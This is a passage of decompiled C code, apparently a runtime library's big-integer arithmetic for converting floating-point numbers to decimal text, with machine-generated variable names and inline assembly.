										__eflags = 0;
										_v1904 = 0;
									} else {
										__eflags = _t778 - 0x80000000;
										if(_t778 == 0x80000000) {
											goto L17;
										}
									}
									_v468 = _t1051;
									__eflags = _t1193;
									_v464 = _t1193;
									_t1054 = (0 | _t1193 != 0x00000000) + 1;
									_v472 = _t1054;
									__eflags = _t1245;
									if(_t1245 < 0) {
										__eflags = _t1245 - 0xfffffc02;
										if(_t1245 == 0xfffffc02) {
											L102:
											_t780 =  *((intOrPtr*)(_t1276 + _t1054 * 4 - 0x1d4));
											_t195 =  &_v1896;
											 *_t195 = _v1896 & 0x00000000;
											__eflags =  *_t195;
											asm("bsr eax, eax");
											if( *_t195 == 0) {
												_t1077 = 0;
												__eflags = 0;
											} else {
												_t1077 = _t780 + 1;
											}
											_t781 = 0x20;
											_t782 = _t781 - _t1077;
											__eflags = _t782 - 1;
											_t783 = _t782 & 0xffffff00 | _t782 - 0x00000001 > 0x00000000;
											__eflags = _t1054 - 0x73;
											_v1865 = _t783;
											_t1078 = _t1077 & 0xffffff00 | _t1054 - 0x00000073 > 0x00000000;
											__eflags = _t1054 - 0x73;
											if(_t1054 != 0x73) {
												L108:
												_t784 = 0;
												__eflags = 0;
											} else {
												__eflags = _t783;
												if(_t783 == 0) {
													goto L108;
												} else {
													_t784 = 1;
												}
											}
											__eflags = _t1078;
											if(_t1078 != 0) {
												L127:
												_v1400 = _v1400 & 0x00000000;
												_t224 =  &_v472;
												 *_t224 = _v472 & 0x00000000;
												__eflags =  *_t224;
												E00110225( &_v468, 0x1cc,  &_v1396, 0);
												_t1281 =  &(_t1281[4]);
											} else {
												__eflags = _t784;
												if(_t784 != 0) {
													goto L127;
												} else {
													_t1105 = 0x72;
													__eflags = _t1054 - _t1105;
													if(_t1054 < _t1105) {
														_t1105 = _t1054;
													}
													__eflags = _t1105 - 0xffffffff;
													if(_t1105 != 0xffffffff) {
														_t1263 = _t1105;
														_t1220 =  &_v468 + _t1105 * 4;
														_v1880 = _t1220;
														while(1) {
															__eflags = _t1263 - _t1054;
															if(_t1263 >= _t1054) {
																_t208 =  &_v1876;
																 *_t208 = _v1876 & 0x00000000;
																__eflags =  *_t208;
															} else {
																_v1876 =  *_t1220;
															}
															_t210 = _t1263 - 1; // 0x70
															__eflags = _t210 - _t1054;
															if(_t210 >= _t1054) {
																_t1168 = 0;
																__eflags = 0;
															} else {
																_t1168 =  *(_t1220 - 4);
															}
															_t1220 = _t1220 - 4;
															_t962 = _v1880;
															_t1263 = _t1263 - 1;
															 *_t962 = _t1168 >> 0x0000001f ^ _v1876 + _v1876;
															_v1880 = _t962 - 4;
															__eflags = _t1263 - 0xffffffff;
															if(_t1263 == 0xffffffff) {
																break;
															}
															_t1054 = _v472;
														}
														_t1245 = _v1872;
													}
													__eflags = _v1865;
													if(_v1865 == 0) {
														_v472 = _t1105;
													} else {
														_t218 = _t1105 + 1; // 0x73
														_v472 = _t218;
													}
												}
											}
											_t1196 = 1 - _t1245;
											E001053E0(_t1196,  &_v1396, 0, 1);
											__eflags = 1;
											 *(_t1276 + 0xbad63d) = 1 << (_t1196 & 0x0000001f);
											_t793 = 0xbadbae;
										} else {
											_v1396 = _v1396 & 0x00000000;
											_t1106 = 2;
											_v1392 = 0x100000;
											_v1400 = _t1106;
											__eflags = _t1054 - _t1106;
											if(_t1054 == _t1106) {
												_t1172 = 0;
												__eflags = 0;
												while(1) {
													_t964 =  *((intOrPtr*)(_t1276 + _t1172 - 0x570));
													__eflags = _t964 -  *((intOrPtr*)(_t1276 + _t1172 - 0x1d0));
													if(_t964 !=  *((intOrPtr*)(_t1276 + _t1172 - 0x1d0))) {
														goto L102;
													}
													_t1172 = _t1172 + 4;
													__eflags = _t1172 - 8;
													if(_t1172 != 8) {
														continue;
													} else {
														_t166 =  &_v1896;
														 *_t166 = _v1896 & 0x00000000;
														__eflags =  *_t166;
														asm("bsr eax, edi");
														if( *_t166 == 0) {
															_t1173 = 0;
															__eflags = 0;
														} else {
															_t1173 = _t964 + 1;
														}
														_t965 = 0x20;
														_t1264 = _t1106;
														__eflags = _t965 - _t1173 - _t1106;
														_t967 =  &_v460;
														_v1880 = _t967;
														_t1221 = _t967;
														_t171 =  &_v1865;
														 *_t171 = _t965 - _t1173 - _t1106 > 0;
														__eflags =  *_t171;
														while(1) {
															__eflags = _t1264 - _t1054;
															if(_t1264 >= _t1054) {
																_t173 =  &_v1876;
																 *_t173 = _v1876 & 0x00000000;
																__eflags =  *_t173;
															} else {
																_v1876 =  *_t1221;
															}
															_t175 = _t1264 - 1; // 0x0
															__eflags = _t175 - _t1054;
															if(_t175 >= _t1054) {
																_t1174 = 0;
																__eflags = 0;
															} else {
																_t1174 =  *(_t1221 - 4);
															}
															_t1221 = _t1221 - 4;
															_t971 = _v1880;
															_t1264 = _t1264 - 1;
															 *_t971 = _t1174 >> 0x0000001e ^ _v1876 << 0x00000002;
															_v1880 = _t971 - 4;
															__eflags = _t1264 - 0xffffffff;
															if(_t1264 == 0xffffffff) {
																break;
															}
															_t1054 = _v472;
														}
														__eflags = _v1865;
														_t1107 = _t1106 - _v1872;
														_v472 = (0 | _v1865 != 0x00000000) + _t1106;
														_t1223 = _t1107 >> 5;
														_v1884 = _t1107;
														_t1266 = _t1223 << 2;
														E001053E0(_t1223,  &_v1396, 0, _t1266);
														 *(_t1276 + _t1266 - 0x570) = 1 << (_v1884 & 0x0000001f);
														_t793 = _t1223 + 1;
													}
													goto L129;
												}
											}
											goto L102;
										}
										L129:
										_v1400 = _t793;
										_t1057 = 0x1cc;
										_v936 = _t793;
										__eflags = _t793 << 2;
										E00110225( &_v932, 0x1cc,  &_v1396, _t793 << 2);
										_t1286 =  &(_t1281[7]);
									} else {
										_v1396 = _v1396 & 0x00000000;
										_t1267 = 2;
										_v1392 = 0x100000;
										_v1400 = _t1267;
										__eflags = _t1054 - _t1267;
										if(_t1054 != _t1267) {
											L54:
											_t982 = _v1872 + 1;
											_t983 = _t982 & 0x0000001f;
											_t1110 = 0x20;
											_v1876 = _t983;
											_t1225 = _t982 >> 5;
											_v1872 = _t1225;
											_v1908 = _t1110 - _t983;
											_t986 = E000ED680(1, _t1110 - _t983, 0);
											_t1112 =  *((intOrPtr*)(_t1276 + _t1054 * 4 - 0x1d4));
											_t987 = _t986 - 1;
											_t108 =  &_v1896;
											 *_t108 = _v1896 & 0x00000000;
											__eflags =  *_t108;
											asm("bsr ecx, ecx");
											_v1884 = _t987;
											_v1912 =  !_t987;
											if( *_t108 == 0) {
												_t1113 = 0;
												__eflags = 0;
											} else {
												_t1113 = _t1112 + 1;
											}
											_t989 = 0x20;
											_t990 = _t989 - _t1113;
											_t1179 = _t1054 + _t1225;
											__eflags = _v1876 - _t990;
											_v1892 = _t1179;
											_t991 = _t990 & 0xffffff00 | _v1876 - _t990 > 0x00000000;
											__eflags = _t1179 - 0x73;
											_v1865 = _t991;
											_t1114 = _t1113 & 0xffffff00 | _t1179 - 0x00000073 > 0x00000000;
											__eflags = _t1179 - 0x73;
											if(_t1179 != 0x73) {
												L60:
												_t992 = 0;
												__eflags = 0;
											} else {
												__eflags = _t991;
												if(_t991 == 0) {
													goto L60;
												} else {
													_t992 = 1;
												}
											}
											__eflags = _t1114;
											if(_t1114 != 0) {
												L82:
												__eflags = 0;
												_t1057 = 0x1cc;
												_v1400 = 0;
												_v472 = 0;
												E00110225( &_v468, 0x1cc,  &_v1396, 0);
												_t1281 =  &(_t1281[4]);
											} else {
												__eflags = _t992;
												if(_t992 != 0) {
													goto L82;
												} else {
													_t1115 = 0x72;
													__eflags = _t1179 - _t1115;
													if(_t1179 >= _t1115) {
														_t1179 = _t1115;
														_v1892 = _t1115;
													}
													_t1002 = _t1179;
													_v1880 = _t1002;
													__eflags = _t1179 - 0xffffffff;
													if(_t1179 != 0xffffffff) {
														_t1180 = _v1872;
														_t1269 = _t1179 - _t1180;
														__eflags = _t1269;
														_t1119 =  &_v468 + _t1269 * 4;
														_v1888 = _t1119;
														while(1) {
															__eflags = _t1002 - _t1180;
															if(_t1002 < _t1180) {
																break;
															}
															__eflags = _t1269 - _t1054;
															if(_t1269 >= _t1054) {
																_t1228 = 0;
																__eflags = 0;
															} else {
																_t1228 =  *_t1119;
															}
															__eflags = _t1269 - 1 - _t1054;
															if(_t1269 - 1 >= _t1054) {
																_t1007 = 0;
																__eflags = 0;
															} else {
																_t1007 =  *(_t1119 - 4);
															}
															_t1010 = _v1880;
															_t1119 = _v1888 - 4;
															_v1888 = _t1119;
															 *(_t1276 + _t1010 * 4 - 0x1d0) = (_t1228 & _v1884) << _v1876 | (_t1007 & _v1912) >> _v1908;
															_t1002 = _t1010 - 1;
															_t1269 = _t1269 - 1;
															_v1880 = _t1002;
															__eflags = _t1002 - 0xffffffff;
															if(_t1002 != 0xffffffff) {
																_t1054 = _v472;
																continue;
															}
															break;
														}
														_t1179 = _v1892;
														_t1225 = _v1872;
														_t1267 = 2;
													}
													__eflags = _t1225;
													if(_t1225 != 0) {
														__eflags = 0;
														memset( &_v468, 0, _t1225 << 2);
														_t1281 =  &(_t1281[3]);
													}
													__eflags = _v1865;
													_t1057 = 0x1cc;
													if(_v1865 == 0) {
														_v472 = _t1179;
													} else {
														_v472 = _t1179 + 1;
													}
												}
											}
											_v1392 = _v1392 & 0x00000000;
											_v1396 = _t1267;
											_v1400 = 1;
											_v936 = 1;
											_push(4);
										} else {
											_t1123 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *((intOrPtr*)(_t1276 + _t1123 - 0x570)) -  *((intOrPtr*)(_t1276 + _t1123 - 0x1d0));
												if( *((intOrPtr*)(_t1276 + _t1123 - 0x570)) !=  *((intOrPtr*)(_t1276 + _t1123 - 0x1d0))) {
													goto L54;
												}
												_t1123 = _t1123 + 4;
												__eflags = _t1123 - 8;
												if(_t1123 != 8) {
													continue;
												} else {
													_t1013 = _v1872 + 2;
													_t1014 = _t1013 & 0x0000001f;
													_t1124 = 0x20;
													_t1125 = _t1124 - _t1014;
													_v1888 = _t1014;
													_t1271 = _t1013 >> 5;
													_v1876 = _t1271;
													_v1908 = _t1125;
													_t1017 = E000ED680(1, _t1125, 0);
													_v1896 = _v1896 & 0x00000000;
													_t1018 = _t1017 - 1;
													__eflags = _t1018;
													asm("bsr ecx, edi");
													_v1884 = _t1018;
													_v1912 =  !_t1018;
													if(_t1018 == 0) {
														_t1126 = 0;
														__eflags = 0;
													} else {
														_t1126 = _t1125 + 1;
													}
													_t1020 = 0x20;
													_t1021 = _t1020 - _t1126;
													_t1182 = _t1271 + 2;
													__eflags = _v1888 - _t1021;
													_v1880 = _t1182;
													_t1022 = _t1021 & 0xffffff00 | _v1888 - _t1021 > 0x00000000;
													__eflags = _t1182 - 0x73;
													_v1865 = _t1022;
													_t1127 = _t1126 & 0xffffff00 | _t1182 - 0x00000073 > 0x00000000;
													__eflags = _t1182 - 0x73;
													if(_t1182 != 0x73) {
														L29:
														_t1023 = 0;
														__eflags = 0;
													} else {
														__eflags = _t1022;
														if(_t1022 == 0) {
															goto L29;
														} else {
															_t1023 = 1;
														}
													}
													__eflags = _t1127;
													if(_t1127 != 0) {
														L51:
														__eflags = 0;
														_t1057 = 0x1cc;
														_v1400 = 0;
														_v472 = 0;
														E00110225( &_v468, 0x1cc,  &_v1396, 0);
														_t1281 =  &(_t1281[4]);
													} else {
														__eflags = _t1023;
														if(_t1023 != 0) {
															goto L51;
														} else {
															_t1130 = 0x72;
															__eflags = _t1182 - _t1130;
															if(_t1182 >= _t1130) {
																_t1182 = _t1130;
																_v1880 = _t1130;
															}
															_t1131 = _t1182;
															_v1892 = _t1131;
															__eflags = _t1182 - 0xffffffff;
															if(_t1182 != 0xffffffff) {
																_t1183 = _v1876;
																_t1273 = _t1182 - _t1183;
																__eflags = _t1273;
																_t1033 =  &_v468 + _t1273 * 4;
																_v1872 = _t1033;
																while(1) {
																	__eflags = _t1131 - _t1183;
																	if(_t1131 < _t1183) {
																		break;
																	}
																	__eflags = _t1273 - _t1054;
																	if(_t1273 >= _t1054) {
																		_t1234 = 0;
																		__eflags = 0;
																	} else {
																		_t1234 =  *_t1033;
																	}
																	__eflags = _t1273 - 1 - _t1054;
																	if(_t1273 - 1 >= _t1054) {
																		_t1035 = 0;
																		__eflags = 0;
																	} else {
																		_t1035 =  *(_v1872 - 4);
																	}
																	_t1136 = _v1892;
																	 *(_t1276 + _t1136 * 4 - 0x1d0) = (_t1035 & _v1912) >> _v1908 | (_t1234 & _v1884) << _v1888;
																	_t1131 = _t1136 - 1;
																	_t1273 = _t1273 - 1;
																	_t1033 = _v1872 - 4;
																	_v1892 = _t1131;
																	_v1872 = _t1033;
																	__eflags = _t1131 - 0xffffffff;
																	if(_t1131 != 0xffffffff) {
																		_t1054 = _v472;
																		continue;
																	}
																	break;
																}
																_t1182 = _v1880;
																_t1271 = _v1876;
															}
															__eflags = _t1271;
															if(_t1271 != 0) {
																__eflags = 0;
																memset( &_v468, 0, _t1271 << 2);
																_t1281 =  &(_t1281[3]);
															}
															__eflags = _v1865;
															_t1057 = 0x1cc;
															if(_v1865 == 0) {
																_v472 = _t1182;
															} else {
																_v472 = _t1182 + 1;
															}
														}
													}
													_v1392 = _v1392 & 0x00000000;
													_t1028 = 4;
													__eflags = 1;
													_v1396 = _t1028;
													_v1400 = 1;
													_v936 = 1;
													_push(_t1028);
												}
												goto L53;
											}
											goto L54;
										}
										L53:
										_push( &_v1396);
										_push(_t1057);
										_push( &_v932);
										E00110225();
										_t1286 =  &(_t1281[4]);
									}
									_t798 = _v1904;
									_t1080 = 0xa;
									_v1912 = _t1080;
									__eflags = _t798;
									if(_t798 < 0) {
										_t799 =  ~_t798;
										_t800 = _t799 / _t1080;
										_v1880 = _t800;
										_t1081 = _t799 % _t1080;
										_v1884 = _t1081;
										__eflags = _t800;
										if(_t800 == 0) {
											L250:
											__eflags = _t1081;
											if(_t1081 != 0) {
												_t839 =  *(0x1465cc + _t1081 * 4);
												_v1896 = _t839;
												__eflags = _t839;
												if(_t839 == 0) {
													L261:
													__eflags = 0;
													_push(0);
													_v472 = 0;
													_v2408 = 0;
													goto L262;
												} else {
													__eflags = _t839 - 1;
													if(_t839 != 1) {
														_t1092 = _v472;
														__eflags = _t1092;
														if(_t1092 != 0) {
															_t1203 = 0;
															_t1253 = 0;
															__eflags = 0;
															do {
																_t1153 = _t839 *  *(_t1276 + _t1253 * 4 - 0x1d0) >> 0x20;
																 *(_t1276 + _t1253 * 4 - 0x1d0) = _t839 *  *(_t1276 + _t1253 * 4 - 0x1d0) + _t1203;
																_t839 = _v1896;
																asm("adc edx, 0x0");
																_t1253 = _t1253 + 1;
																_t1203 = _t1153;
																__eflags = _t1253 - _t1092;
															} while (_t1253 != _t1092);
															__eflags = _t1203;
															if(_t1203 != 0) {
																_t846 = _v472;
																__eflags = _t846 - 0x73;
																if(_t846 >= 0x73) {
																	goto L261;
																} else {
																	 *(_t1276 + _t846 * 4 - 0x1d0) = _t1203;
																	_v472 = _v472 + 1;
																}
															}
														}
													}
												}
											}
										} else {
											do {
												__eflags = _t800 - 0x26;
												if(_t800 > 0x26) {
													_t800 = 0x26;
												}
												_t1093 =  *(0x146536 + _t800 * 4) & 0x000000ff;
												_v1872 = _t800;
												_v1400 = ( *(0x146536 + _t800 * 4) & 0x000000ff) + ( *(0x146537 + _t800 * 4) & 0x000000ff);
												E001053E0(_t1093 << 2,  &_v1396, 0, _t1093 << 2);
												_t857 = E001048E0( &(( &_v1396)[_t1093]), 0x145c30 + ( *(0x146534 + _v1872 * 4) & 0x0000ffff) * 4, ( *(0x146537 + _t800 * 4) & 0x000000ff) << 2);
												_t1094 = _v1400;
												_t1286 =  &(_t1286[6]);
												_v1892 = _t1094;
												__eflags = _t1094 - 1;
												if(_t1094 > 1) {
													__eflags = _v472 - 1;
													if(_v472 > 1) {
														__eflags = _t1094 - _v472;
														_t1206 =  &_v1396;
														_t858 = _t857 & 0xffffff00 | _t1094 - _v472 > 0x00000000;
														__eflags = _t858;
														if(_t858 != 0) {
															_t1154 =  &_v468;
														} else {
															_t1206 =  &_v468;
															_t1154 =  &_v1396;
														}
														_v1908 = _t1154;
														__eflags = _t858;
														if(_t858 == 0) {
															_t1094 = _v472;
														}
														_v1876 = _t1094;
														__eflags = _t858;
														if(_t858 != 0) {
															_v1892 = _v472;
														}
														_t1155 = 0;
														_t1255 = 0;
														_v1864 = 0;
														__eflags = _t1094;
														if(_t1094 == 0) {
															L244:
															_v472 = _t1155;
															_t860 = _t1155 << 2;
															__eflags = _t860;
															_push(_t860);
															_t861 =  &_v1860;
															goto L245;
														} else {
															_t1207 = _t1206 -  &_v1860;
															__eflags = _t1207;
															_v1928 = _t1207;
															do {
																_t868 =  *(_t1276 + _t1207 + _t1255 * 4 - 0x740);
																_v1896 = _t868;
																__eflags = _t868;
																if(_t868 != 0) {
																	_t869 = 0;
																	_t1208 = 0;
																	_t1095 = _t1255;
																	_v1888 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L241:
																		__eflags = _t1095 - 0x73;
																		if(_t1095 == 0x73) {
																			goto L259;
																		} else {
																			_t1207 = _v1928;
																			_t1094 = _v1876;
																			goto L243;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1095 - 0x73;
																			if(_t1095 == 0x73) {
																				goto L236;
																			}
																			__eflags = _t1095 - _t1155;
																			if(_t1095 == _t1155) {
																				 *(_t1276 + _t1095 * 4 - 0x740) =  *(_t1276 + _t1095 * 4 - 0x740) & 0x00000000;
																				_t881 = _t869 + 1 + _t1255;
																				__eflags = _t881;
																				_v1864 = _t881;
																				_t869 = _v1888;
																			}
																			_t876 =  *(_v1908 + _t869 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1276 + _t1095 * 4 - 0x740) =  *(_t1276 + _t1095 * 4 - 0x740) + _t876 * _v1896 + _t1208;
																			asm("adc edx, 0x0");
																			_t869 = _v1888 + 1;
																			_t1095 = _t1095 + 1;
																			_v1888 = _t869;
																			_t1208 = _t876 * _v1896 >> 0x20;
																			_t1155 = _v1864;
																			__eflags = _t869 - _v1892;
																			if(_t869 != _v1892) {
																				continue;
																			} else {
																				goto L236;
																			}
																			while(1) {
																				L236:
																				__eflags = _t1208;
																				if(_t1208 == 0) {
																					goto L241;
																				}
																				__eflags = _t1095 - 0x73;
																				if(_t1095 == 0x73) {
																					goto L259;
																				} else {
																					__eflags = _t1095 - _t1155;
																					if(_t1095 == _t1155) {
																						_t558 = _t1276 + _t1095 * 4 - 0x740;
																						 *_t558 =  *(_t1276 + _t1095 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t558;
																						_t564 = _t1095 + 1; // 0x1
																						_v1864 = _t564;
																					}
																					_t874 = _t1208;
																					_t1208 = 0;
																					 *(_t1276 + _t1095 * 4 - 0x740) =  *(_t1276 + _t1095 * 4 - 0x740) + _t874;
																					_t1155 = _v1864;
																					asm("adc edi, edi");
																					_t1095 = _t1095 + 1;
																					continue;
																				}
																				goto L247;
																			}
																			goto L241;
																		}
																		goto L236;
																	}
																} else {
																	__eflags = _t1255 - _t1155;
																	if(_t1255 == _t1155) {
																		 *(_t1276 + _t1255 * 4 - 0x740) =  *(_t1276 + _t1255 * 4 - 0x740) & _t868;
																		_t526 = _t1255 + 1; // 0x1
																		_t1155 = _t526;
																		_v1864 = _t1155;
																	}
																	goto L243;
																}
																goto L247;
																L243:
																_t1255 = _t1255 + 1;
																__eflags = _t1255 - _t1094;
															} while (_t1255 != _t1094);
															goto L244;
														}
													} else {
														_t1209 = _v468;
														_v472 = _t1094;
														E00110225( &_v468, _t1057,  &_v1396, _t1094 << 2);
														_t1286 =  &(_t1286[4]);
														__eflags = _t1209;
														if(_t1209 == 0) {
															goto L204;
														} else {
															__eflags = _t1209 - 1;
															if(_t1209 == 1) {
																goto L246;
															} else {
																__eflags = _v472;
																if(_v472 == 0) {
																	goto L246;
																} else {
																	_t1096 = 0;
																	_v1896 = _v472;
																	_t1256 = 0;
																	__eflags = 0;
																	do {
																		_t890 = _t1209;
																		_t1156 = _t890 *  *(_t1276 + _t1256 * 4 - 0x1d0) >> 0x20;
																		 *(_t1276 + _t1256 * 4 - 0x1d0) = _t890 *  *(_t1276 + _t1256 * 4 - 0x1d0) + _t1096;
																		asm("adc edx, 0x0");
																		_t1256 = _t1256 + 1;
																		_t1096 = _t1156;
																		__eflags = _t1256 - _v1896;
																	} while (_t1256 != _v1896);
																	goto L209;
																}
															}
														}
													}
												} else {
													_t1210 = _v1396;
													__eflags = _t1210;
													if(_t1210 != 0) {
														__eflags = _t1210 - 1;
														if(_t1210 == 1) {
															goto L246;
														} else {
															__eflags = _v472;
															if(_v472 == 0) {
																goto L246;
															} else {
																_t1097 = 0;
																_v1896 = _v472;
																_t1257 = 0;
																__eflags = 0;
																do {
																	_t895 = _t1210;
																	_t1157 = _t895 *  *(_t1276 + _t1257 * 4 - 0x1d0) >> 0x20;
																	 *(_t1276 + _t1257 * 4 - 0x1d0) = _t895 *  *(_t1276 + _t1257 * 4 - 0x1d0) + _t1097;
																	asm("adc edx, 0x0");
																	_t1257 = _t1257 + 1;
																	_t1097 = _t1157;
																	__eflags = _t1257 - _v1896;
																} while (_t1257 != _v1896);
																L209:
																__eflags = _t1096;
																if(_t1096 == 0) {
																	goto L246;
																} else {
																	_t893 = _v472;
																	__eflags = _t893 - 0x73;
																	if(_t893 >= 0x73) {
																		L259:
																		_v2408 = 0;
																		_v472 = 0;
																		E00110225( &_v468, _t1057,  &_v2404, 0);
																		_t1286 =  &(_t1286[4]);
																		_t864 = 0;
																	} else {
																		 *(_t1276 + _t893 * 4 - 0x1d0) = _t1096;
																		_v472 = _v472 + 1;
																		goto L246;
																	}
																}
															}
														}
													} else {
														L204:
														_v2408 = 0;
														_v472 = 0;
														_push(0);
														_t861 =  &_v2404;
														L245:
														_push(_t861);
														_push(_t1057);
														_push( &_v468);
														E00110225();
														_t1286 =  &(_t1286[4]);
														L246:
														_t864 = 1;
													}
												}
												L247:
												__eflags = _t864;
												if(_t864 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_v472 = _v472 & 0x00000000;
													_push(0);
													L262:
													_push( &_v2404);
													_t842 =  &_v468;
													goto L263;
												} else {
													goto L248;
												}
												goto L264;
												L248:
												_t800 = _v1880 - _v1872;
												__eflags = _t800;
												_v1880 = _t800;
											} while (_t800 != 0);
											_t1081 = _v1884;
											goto L250;
										}
									} else {
										_t898 = _t798 / _t1080;
										_v1908 = _t898;
										_t1098 = _t798 % _t1080;
										_v1896 = _t1098;
										__eflags = _t898;
										if(_t898 == 0) {
											L185:
											__eflags = _t1098;
											if(_t1098 != 0) {
												_t1211 =  *(0x1465cc + _t1098 * 4);
												__eflags = _t1211;
												if(_t1211 != 0) {
													__eflags = _t1211 - 1;
													if(_t1211 != 1) {
														_t899 = _v936;
														_v1896 = _t899;
														__eflags = _t899;
														if(_t899 != 0) {
															_t1258 = 0;
															_t1099 = 0;
															__eflags = 0;
															do {
																_t900 = _t1211;
																_t1161 = _t900 *  *(_t1276 + _t1099 * 4 - 0x3a0) >> 0x20;
																 *(_t1276 + _t1099 * 4 - 0x3a0) = _t900 *  *(_t1276 + _t1099 * 4 - 0x3a0) + _t1258;
																asm("adc edx, 0x0");
																_t1099 = _t1099 + 1;
																_t1258 = _t1161;
																__eflags = _t1099 - _v1896;
															} while (_t1099 != _v1896);
															__eflags = _t1258;
															if(_t1258 != 0) {
																_t903 = _v936;
																__eflags = _t903 - 0x73;
																if(_t903 >= 0x73) {
																	goto L187;
																} else {
																	 *(_t1276 + _t903 * 4 - 0x3a0) = _t1258;
																	_v936 = _v936 + 1;
																}
															}
														}
													}
												} else {
													L187:
													_v2408 = 0;
													_v936 = 0;
													_push(0);
													goto L191;
												}
											}
										} else {
											do {
												__eflags = _t898 - 0x26;
												if(_t898 > 0x26) {
													_t898 = 0x26;
												}
												_t1100 =  *(0x146536 + _t898 * 4) & 0x000000ff;
												_v1888 = _t898;
												_v1400 = ( *(0x146536 + _t898 * 4) & 0x000000ff) + ( *(0x146537 + _t898 * 4) & 0x000000ff);
												E001053E0(_t1100 << 2,  &_v1396, 0, _t1100 << 2);
												_t916 = E001048E0( &(( &_v1396)[_t1100]), 0x145c30 + ( *(0x146534 + _v1888 * 4) & 0x0000ffff) * 4, ( *(0x146537 + _t898 * 4) & 0x000000ff) << 2);
												_t1101 = _v1400;
												_t1286 =  &(_t1286[6]);
												_v1892 = _t1101;
												__eflags = _t1101 - 1;
												if(_t1101 > 1) {
													__eflags = _v936 - 1;
													if(_v936 > 1) {
														__eflags = _t1101 - _v936;
														_t1214 =  &_v1396;
														_t917 = _t916 & 0xffffff00 | _t1101 - _v936 > 0x00000000;
														__eflags = _t917;
														if(_t917 != 0) {
															_t1162 =  &_v932;
														} else {
															_t1214 =  &_v932;
															_t1162 =  &_v1396;
														}
														_v1876 = _t1162;
														__eflags = _t917;
														if(_t917 == 0) {
															_t1101 = _v936;
														}
														_v1880 = _t1101;
														__eflags = _t917;
														if(_t917 != 0) {
															_v1892 = _v936;
														}
														_t1163 = 0;
														_t1260 = 0;
														_v1864 = 0;
														__eflags = _t1101;
														if(_t1101 == 0) {
															L178:
															_v936 = _t1163;
															_t919 = _t1163 << 2;
															__eflags = _t919;
															goto L179;
														} else {
															_t1215 = _t1214 -  &_v1860;
															__eflags = _t1215;
															_v1928 = _t1215;
															do {
																_t927 =  *(_t1276 + _t1215 + _t1260 * 4 - 0x740);
																_v1884 = _t927;
																__eflags = _t927;
																if(_t927 != 0) {
																	_t928 = 0;
																	_t1216 = 0;
																	_t1102 = _t1260;
																	_v1872 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L175:
																		__eflags = _t1102 - 0x73;
																		if(_t1102 == 0x73) {
																			goto L188;
																		} else {
																			_t1215 = _v1928;
																			_t1101 = _v1880;
																			goto L177;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1102 - 0x73;
																			if(_t1102 == 0x73) {
																				goto L170;
																			}
																			__eflags = _t1102 - _t1163;
																			if(_t1102 == _t1163) {
																				 *(_t1276 + _t1102 * 4 - 0x740) =  *(_t1276 + _t1102 * 4 - 0x740) & 0x00000000;
																				_t940 = _t928 + 1 + _t1260;
																				__eflags = _t940;
																				_v1864 = _t940;
																				_t928 = _v1872;
																			}
																			_t935 =  *(_v1876 + _t928 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1276 + _t1102 * 4 - 0x740) =  *(_t1276 + _t1102 * 4 - 0x740) + _t935 * _v1884 + _t1216;
																			asm("adc edx, 0x0");
																			_t928 = _v1872 + 1;
																			_t1102 = _t1102 + 1;
																			_v1872 = _t928;
																			_t1216 = _t935 * _v1884 >> 0x20;
																			_t1163 = _v1864;
																			__eflags = _t928 - _v1892;
																			if(_t928 != _v1892) {
																				continue;
																			} else {
																				goto L170;
																			}
																			while(1) {
																				L170:
																				__eflags = _t1216;
																				if(_t1216 == 0) {
																					goto L175;
																				}
																				__eflags = _t1102 - 0x73;
																				if(_t1102 == 0x73) {
																					L188:
																					__eflags = 0;
																					_v2408 = 0;
																					_v936 = 0;
																					_push(0);
																					_t930 =  &_v2404;
																					goto L189;
																				} else {
																					__eflags = _t1102 - _t1163;
																					if(_t1102 == _t1163) {
																						_t370 = _t1276 + _t1102 * 4 - 0x740;
																						 *_t370 =  *(_t1276 + _t1102 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t370;
																						_t376 = _t1102 + 1; // 0x1
																						_v1864 = _t376;
																					}
																					_t933 = _t1216;
																					_t1216 = 0;
																					 *(_t1276 + _t1102 * 4 - 0x740) =  *(_t1276 + _t1102 * 4 - 0x740) + _t933;
																					_t1163 = _v1864;
																					asm("adc edi, edi");
																					_t1102 = _t1102 + 1;
																					continue;
																				}
																				goto L182;
																			}
																			goto L175;
																		}
																		goto L170;
																	}
																} else {
																	__eflags = _t1260 - _t1163;
																	if(_t1260 == _t1163) {
																		 *(_t1276 + _t1260 * 4 - 0x740) =  *(_t1276 + _t1260 * 4 - 0x740) & _t927;
																		_t338 = _t1260 + 1; // 0x1
																		_t1163 = _t338;
																		_v1864 = _t1163;
																	}
																	goto L177;
																}
																goto L182;
																L177:
																_t1260 = _t1260 + 1;
																__eflags = _t1260 - _t1101;
															} while (_t1260 != _t1101);
															goto L178;
														}
													} else {
														_t1217 = _v932;
														_v936 = _t1101;
														E00110225( &_v932, _t1057,  &_v1396, _t1101 << 2);
														_t1286 =  &(_t1286[4]);
														__eflags = _t1217;
														if(_t1217 != 0) {
															__eflags = _t1217 - 1;
															if(_t1217 == 1) {
																goto L181;
															} else {
																__eflags = _v936;
																if(_v936 == 0) {
																	goto L181;
																} else {
																	_t1103 = 0;
																	_v1884 = _v936;
																	_t1261 = 0;
																	__eflags = 0;
																	do {
																		_t948 = _t1217;
																		_t1164 = _t948 *  *(_t1276 + _t1261 * 4 - 0x3a0) >> 0x20;
																		 *(_t1276 + _t1261 * 4 - 0x3a0) = _t948 *  *(_t1276 + _t1261 * 4 - 0x3a0) + _t1103;
																		asm("adc edx, 0x0");
																		_t1261 = _t1261 + 1;
																		_t1103 = _t1164;
																		__eflags = _t1261 - _v1884;
																	} while (_t1261 != _v1884);
																	goto L150;
																}
															}
														} else {
															_v1400 = 0;
															_v936 = 0;
															_push(0);
															_t920 =  &_v1396;
															goto L180;
														}
													}
												} else {
													_t1218 = _v1396;
													__eflags = _t1218;
													if(_t1218 != 0) {
														__eflags = _t1218 - 1;
														if(_t1218 == 1) {
															goto L181;
														} else {
															__eflags = _v936;
															if(_v936 == 0) {
																goto L181;
															} else {
																_t1104 = 0;
																_v1884 = _v936;
																_t1262 = 0;
																__eflags = 0;
																do {
																	_t955 = _t1218;
